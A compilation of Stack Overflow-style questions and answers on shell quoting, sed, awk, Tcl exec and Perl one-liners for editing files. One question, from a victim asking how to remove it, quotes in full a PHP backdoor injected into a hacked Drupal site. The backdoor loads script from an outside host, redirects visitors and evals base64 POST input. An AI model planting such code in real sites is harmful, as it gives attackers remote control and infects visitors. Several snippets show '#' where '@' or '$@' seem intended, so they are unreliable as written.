I want to execute some commands in terminal. I create them in Swift 3.0 and write them to a command file. But some special characters make problems, e.g. single quote:
mv 'Don't do it.txt' 'Don_t do it.txt'
I use single quote to cover other special characters. But what's about single quotes itself. How can I convert them in a way every possible filename can be handled correctly?
You question is strange:
In this case we would be writing to shell script rather than a text file
You are replacing single quotes in the output file name, but not spaces,
which should be replaced
Here is a solution that gives proper escaping for the input files, and proper
replacing (read: spaces too) for the output files:
#!/usr/bin/awk -f
BEGIN {
mi = "\47"
no = "[^[:alnum:]%+,./:=#_-]"
print "#!/bin/sh"
while (++os < ARGC) {
pa = split(ARGV[os], qu, mi)
printf "mv "
for (ro in qu) {
printf "%s", match(qu[ro], no) ? mi qu[ro] mi : qu[ro]
if (ro < pa) printf "\\" mi
}
gsub(no, "_", ARGV[os])
print FS ARGV[os]
}
}
Result:
#!/bin/sh
mv 'dont do it!.txt' dont_do_it_.txt
mv Don\''t do it.txt' Don_t_do_it.txt
mv dont-do-it.txt dont-do-it.txt
Related
What is a sed script that will remove the "\n" character but only if it is inside "" characters (delimited string), not the \n that is actually at the end of the (virtual) line?
For example, I want to turn this file
"lalala","lalalslalsa"
"lalalala","lkjasjdf
asdfasfd"
"lalala","dasdf"
(line 2 has an embedded \n ) into this one
"lalala","lalalslalsa"
"lalalala","lkjasjdf \\n asdfasfd"
"lalala","dasdf"
(Line 2 and 3 are now joined, and the real line feed was replaced with the character string \\n (or any other easy to spot character string, I'm not picky))
I don't just want to remove every other newline as a previous question asked, nor do I want to remove ALL newlines, just those that are inside quotes. I'm not wedded to sed, if awk would work, that's fine too.
The file being operated on is too large to fit in memory all at once.
sed is an excellent tool for simple substitutions on a single line but for anything else you should use awk., e.g:
$ cat tst.awk
{
if (/"$/) {
print prev $0
prev = ""
}
else {
prev = prev $0 " \\\\n "
}
}
$ awk -f tst.awk file
"lalala","lalalslalsa"
"lalalala","lkjasjdf \\n asdfasfd"
"lalala","dasdf"
Below was my original answer but after seeing #NeronLeVelu's approach of just testing for a quote at the end of the line I realized I was doing this in a much too complicated way. You could just replace gsub(/"/,"&") % 2 below with /"$/ and it'd work the same but the above code is a simpler implementation of the same functionality and will now handle embedded escaped double quotes as long as they aren't at the end of a line.
$ cat tst.awk
{ $0 = saved $0; saved="" }
gsub(/"/,"&") % 2 { saved = $0 " \\\\n "; next }
{ print }
$ awk -f tst.awk file
"lalala","lalalslalsa"
"lalalala","lkjasjdf \\n asdfasfd"
"lalala","dasdf"
The above only stores 1 output line in memory at a time. It just keeps building up an output line from input lines while the number of double quotes in that output line is an odd number, then prints the output line when it eventually contains an even number of double quotes.
It will fail if you can have double quotes inside your quoted strings escaped as \", not "", but you don't show that in your posted sample input so hopefully you don't have that situation. If you have that situation you need to write/use a real CSV parser.
sed -n ':load
/"$/ !{N
b load
}
:cycle
s/^\(\([^"]*"[^"]*"\)*\)\([^"]*"[^"]*\)\n/\1\3 \\\\n /
t cycle
p' YourFile
load the lines in working buffer until a close line (ending with ") is found or end reach
replace any \n that is after any couple of open/close " followed by a single " with any other caracter that " between from the start of file by the escapped version of new line (in fact replace starting string + \n by starting string and escaped new line)
if any substitution occur, retry another one (:cycle and t cycle)
print the result
continue until end of file
thanks to #Ed Morton for remark about escaped new line
I have a sed file that replaces all occurrences of a string in a file with other string.
I want to do it inline but without using -i from terminal
What changes are to be made to the .sed file
#!/bin/sed
s/include/\#include/
Just use awk:
{ sub(/include/,"#include"); rec = rec $0 RS }
END{ printf "%s", rec > FILENAME }
or if you want to operate strictly on strings:
BEGIN{ old="include"; new="#include" }
s = index($0,old) {$0 = substr($0,1,s-1) new substr($0,s+length(old))
{ rec = rec $0 RS }
END{ printf "%s", rec > FILENAME }
which can be simplified to:
s = index($0,"include") {$0 = substr($0,1,s-1) "#" substr($0,s)
{ rec = rec $0 RS }
END{ printf "%s", rec > FILENAME }
in this particular case of just prepending # to a string.
I don't think it will work, because the -i and -f options can usually both have arguments, but you could be lucky.
The shebang line can contain one option group (aka cluster). You would need for it to contain -f (this is missing from your example) so the cluster could look like
#!/bin/sed -if
provided that your dialect doesn't require an argument to the -i option, and permits clustering like this in the first place (-if pro -i -f).
The obvious workaround is to change the script to a shell script; the -f option is no longer required because the script is not in a file.
#!/bin/sh
exec sed -i 's/include/\#include/' "$#"
I need to search for a specific word in a file starting from specific line and return the line numbers only for the matched lines.
Let's say I want to search a file called myfile for the word my_word and then store the returned line numbers.
By using shell script the command :
sed -n '10,$ { /$my_word /= }' $myfile
works fine but how to write that command on tcl shell?
% exec sed -n '10,$ { /$my_word/= }' $file
extra characters after close-brace.
I want to add that the following command works fine on tcl shell but it starts from the beginning of the file
% exec sed -n "/$my_word/=" $file
447431
447445
448434
448696
448711
448759
450979
451006
451119
451209
451245
452936
454408
I have solved the problem as follows
set lineno 10
if { ! [catch {exec sed -n "/$new_token/=" $file} lineFound] && [string length $lineFound] > 0 } {
set lineNumbers [split $lineFound "\n"]
foreach num $lineNumbers {
if {[expr {$num >= $lineno}] } {
lappend col $num
}
}
}
Still can't find a single line that solve the problem
Any suggestions ??
I don't understand a thing: is the text you are looking for stored inside the variable called my_word or is the literal value my_word?
In your line
% exec sed -n '10,$ { /$my_word/= }' $file
I'd say it's the first case. So you have before it something like
% set my_word wordtosearch
% set file filetosearchin
Your mistake is to use the single quote character ' to enclose the sed expression. That character is an enclosing operator in sh, but has no meaning in Tcl.
You use it in sh to group many words in a single argument that is passed to sed, so you have to do the same, but using Tcl syntax:
% set my_word wordtosearch
% set file filetosearchin
% exec sed -n "10,$ { /$my_word/= }" $file
Here, you use the "..." to group.
You don't escape the $ in $my_word because you want $my_word to be substitued with the string wordtosearch.
I hope this helps.
After a few trial-and-error I came up with:
set output [exec sed -n "10,\$ \{ /$myword/= \}" $myfile]
# Do something with the output
puts $output
The key is to escape characters that are special to TCL, such as the dollar sign, curly braces.
Update
Per Donal Fellows, we do not need to escape the dollar sign:
set output [exec sed -n "10,$ \{ /$myword/= \}" $myfile]
I have tried the new revision and found it works. Thank you, Donal.
Update 2
I finally gained access to a Windows 7 machine, installed Cygwin (which includes sed and tclsh). I tried out the above script and it works just fine. I don't know what your problem is. Interestingly, the same script failed on my Mac OS X system with the following error:
sed: 1: "10,$ { /ipsum/= }": extra characters at the end of = command
while executing
"exec sed -n "10,$ \{ /$myword/= \}" $myfile"
invoked from within
"set output [exec sed -n "10,$ \{ /$myword/= \}" $myfile]"
(file "sed.tcl" line 6)
I guess there is a difference between Linux and BSD systems.
Update 3
I have tried the same script under Linux/Tcl 8.4 and it works. That might mean Tcl 8.4 has nothing to do with it. Here is something else that might help: Tcl comes with a package called fileutil, which is part of the tcllib. The fileutil package contains a useful tool for this case: fileutil::grep. Here is a sample on how to use it in your case:
package require fileutil
proc grep_demo {myword myfile} {
foreach line [fileutil::grep $myword $myfile] {
# Each line is in the format:
# filename:linenumber:text
set lineNumber [lindex [split $line :] 1]
if {$lineNumber >= 10} { puts $lineNumber}
}
}
puts [grep_demo $myword $myfile]
Here is how to do it with awk
awk 'NR>10 && $0~f {print NR}' f="$my_word" "$myfile"
This search for all line larger than line number 10 that contains word in variable $my_word in file name stored in variable myfile
I got hacked by running a really outdated Drupal installation (shame on me)
It seems they injected the following in every .php file;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Can I remove and replace this with sed? e.g.:
find . -name *.php | xargs ...
I hope to have the site working just for the time being to use wget and made a static copy.
You can use sed with something like
sed '1 s/^.*$/<?php/'
The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.
To modify your files in-place, use the -i option of GNU sed.
To replace the first line of a file, you can use the c (for "change") command of sed:
sed '1c<?php'
which translates to: "on line 1, replace the pattern space with <?php".
For this particular problem, however, something like this would probably work:
sed '1,/^$/c<?php'
which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.
(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)
# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'
result:
b
a
a
perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)
sample use:
patch shebang lines in script files to use /usr/bin/env
shebang line is the first line: #!/bin/bash etc
find . -type f -exec perl -p -i -e \
'$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;
this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)
the (?!env) (negative lookahead) prevents double-replacing
its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...
I'm trying to edit a text file that looks like this:
TYPE=Ethernet
HWADDR=00:....
IPV6INIT=no
MTU=1500
IPADDR=192.168.2.247
...
(Its actually the /etc/sysconfig/network-scripts/ifcfg- file on red hat Linux)
Instead of reading and rewriting the file each time I want to modify it, I figured I could use grep, sed, awk or the native text parsing functionality provided in Perl.
For instance, if I wanted to change the IPADDR field of the file, is there a way I can just retrieve and modify the line directly? Maybe something like
grep 'IPADDR=' <filename>
but add some additional arguments to modify that line? I'm a little new to UNIX based text processing languages so bear with me...
Thanks!
Here's a Perl oneliner to replace the IPADDR value with the IP address 127.0.01. It's short enough that you should be able to see what you need to modify to alter other fields*:
perl -p -i.orig -e 's/^IPADDR=.*$/IPADDR=127.0.0.1/' filename
It will rename "filename" to "filename.orig", and write out the new version of the file into "filename".
Perl command-line options are explained at perldoc perlrun (thanks for the reminder toolic!), and the syntax of perl regular expressions is at perldoc perlre.
*The regular expression ^IPADDR=.*$, split into components, means:
^ # bind to the beginning of the line
IPADDR= # plain text: match "IPADDR="
.* # followed by any number of any character (`.` means "any one character"; `*` means "any number of them")
$ # bind to the end of the line
since you are on redhat, you can try using the shell
#!/bin/bash
file="file"
read -p "Enter field to change: " field
read -p "Enter new value: " newvalue
shopt -s nocasematch
while IFS="=" read -r f v
do
case "$f" in
$field)
v=$newvalue;;
esac
echo "$f=$v"
done <$file > temp
mv temp file
UPDATE:
file="file"
read -p "Enter field to change: " field
read -p "Enter new value: " newvalue
shopt -s nocasematch
EOL=false
IFS="="
until $EOL
do
read -r f v || EOL=true
case "$f" in
$field)
v=$newvalue;;
esac
echo "$f=$v"
done <$file #> temp
#mv temp file
OR , using just awk
awk 'BEGIN{
printf "Enter field to change: "
getline field < "-"
printf "Enter new value: "
getline newvalue <"-"
IGNORECASE=1
OFS=FS="="
}
field == $1{
$2=newvalue
}
{
print $0 > "temp"
}END{
cmd="mv temp "FILENAME
system(cmd)
}' file
Or with Perl
printf "Enter field: ";
chomp($field=<STDIN>);
printf "Enter new value: ";
chomp($newvalue=<STDIN>);
while (<>){
my ( $f , $v ) = split /=/;
if ( $field =~ /^$f/i){
$v=$newvalue;
}
print join("=",$f,$v);
}
That would be the 'ed' command line editor, like sed but will put the file back where it came from.